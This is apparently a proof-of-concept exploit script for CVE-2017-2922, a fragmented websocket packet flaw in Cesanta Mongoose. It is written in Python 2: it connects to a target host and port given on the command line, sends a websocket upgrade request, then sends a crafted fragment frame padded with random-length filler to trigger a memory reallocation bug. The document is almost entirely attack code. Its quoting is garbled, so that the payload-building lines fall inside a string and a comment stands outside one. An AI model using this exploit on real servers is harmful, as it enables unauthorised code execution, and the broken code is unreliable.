Cesanta Mongoose Websocket Protocol Fragmented Packet Code Execution Vulnerability(CVE-2017-2922)

                                                import socket
import random
import struct
import sys
http_upgrade = ('GET /chat HTTP/1.1\r\n'
              'Host: server.example.com\r\n'
              'Upgrade: websocket\r\n'
              'Connection: Upgrade\r\n'
              'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
              'Sec-WebSocket-Protocol: chat, superchat\r\n'
              'Sec-WebSocket-Version: 13\r\n'
              'Origin: http://example.com\r\n\r\n')


payload = "\x01" # need to pass two checks:
"""
static int mg_is_ws_fragment(unsigned char flags) {
return (flags & 0x80) == 0 || (flags & 0x0f) == 0;
}


static int mg_is_ws_first_fragment(unsigned char flags) {
return (flags & 0x80) == 0 && (flags & 0x0f) != 0;
}
payload += chr(0x00 | 50 ) # packet doesn't have to be masked, so we can ommit it, size doesn't matter
payload += "A"*(60+ random.randint(0,20000)) # rest of the packet doesn't matter
"""
append random length of garbage so it's a bit easier to trigger the realloc when runing without ASAN ,
valgrind, or libdislocator, otherwise ~60 is enough
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(http_upgrade)
print s.recv(1024)
s.send(payload)